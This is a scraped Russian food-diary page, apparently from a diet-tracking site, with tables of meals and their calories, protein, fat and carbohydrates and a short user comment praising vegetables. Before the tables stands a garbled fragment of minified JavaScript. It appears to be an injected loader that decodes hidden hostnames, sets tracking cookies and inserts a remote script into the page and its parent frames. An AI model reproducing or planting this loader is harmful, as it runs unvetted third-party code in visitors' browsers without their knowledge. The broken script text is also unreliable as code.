+"=(*)"
);return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""
;for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"
==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""
return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"
)window.smlo.loadSmlo(n.replace("https:","http:"
);else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"
)window.zSmlo.loadSmlo(n.replace("https:","http:"
);else{var
i=document.createElement("sc ript"
;i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript"
,document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"
!=f&&n("a2519043306",f,{expires:parseInt("3600"
})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"
!=i&&n("a36677002",i);var
r=o("a2519043306"
;t=r?r:e,s(t)};f()}();| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Картофель (Варка в кожуре) |
150
|
110.2 | 2.9 | 0.6 | 23.3 |
| Кефир 1% жирности |
250
|
100 | 7.5 | 2.5 | 10 |
| Горошек зеленый. Консервы |
30
|
12 | 0.9 | 0.1 | 2 |
| Сыр плавленый, костромской, м.д.ж. 40% в сух. в-ве |
25
|
67.3 | 5.4 | 4.8 | 0.6 |
| Соус томатный |
7
|
9.3 | 0.6 | 0.4 | 1 |
| Вода |
250
|
0 | 0 | 0 | 0 |
| Батон нарезной из муки в/с (хлеб) |
10
|
26.2 | 0.8 | 0.3 | 5.1 |
| Грецкий орех |
20
|
131.2 | 3.2 | 12.2 | 2.2 |
| Морковь |
1
|
0.4 | 0 | 0 | 0.1 |
| Итого | 743 | 456.5 | 21.3 | 20.8 | 44.2 |
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Картофель (Варка в кожуре) |
150
|
110.2 | 2.9 | 0.6 | 23.3 |
| Огурец маринованный |
10
|
1.6 | 0.3 | 0 | 0.1 |
| Помидор (томат), парниковый |
10
|
1.4 | 0.1 | 0 | 0.4 |
| Батон нарезной из муки в/с (хлеб) |
10
|
26.2 | 0.8 | 0.3 | 5.1 |
| Яйцо куриное вареное вкрутую |
60
|
95.2 | 7.7 | 7 | 0.4 |
| Вода |
500
|
0 | 0 | 0 | 0 |
| Итого | 740 | 234.6 | 11.7 | 7.8 | 29.3 |
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Мандарин |
40
|
15.2 | 0.3 | 0.1 | 3 |
| Итого | 40 | 15.2 | 0.3 | 0.1 | 3 |
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Вода |
500
|
0 | 0 | 0 | 0 |
| Пшенная крупа, пшено шлифованное (Варка без слива рассыпчатая) |
50
|
167.6 | 5.6 | 1.6 | 32.6 |
| Огурец маринованный |
10
|
1.6 | 0.3 | 0 | 0.1 |
| Творог обезжиренный, 0,6% жирности |
150
|
165 | 33 | 0.9 | 5 |
| Морская капуста (ламинария) свежая |
30
|
7.5 | 0.3 | 0.1 | 0.9 |
| Батон нарезной из муки в/с (хлеб) |
10
|
26.2 | 0.8 | 0.3 | 5.1 |
| Итого | 750 | 367.9 | 39.9 | 2.9 | 43.7 |
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Подсолнечник, семечки |
30
|
180.3 | 6.2 | 15.9 | 3.2 |
| Микрофлора кишечника |
100
|
0 | 0 | 0 | 0 |
| витамин D |
100
|
0 | 0 | 0 | 0 |
| Итого | 230 | 180.3 | 6.2 | 15.9 | 3.2 |
| Итого за день | 2503 | 1254.2 | 79.4 | 47.6 | 123.2 |
а еще съела чечевичный суп так у меня аж 160 % получилось. Кушайте овощи и морковку добавляйте в супы в салаты в тушеные овощи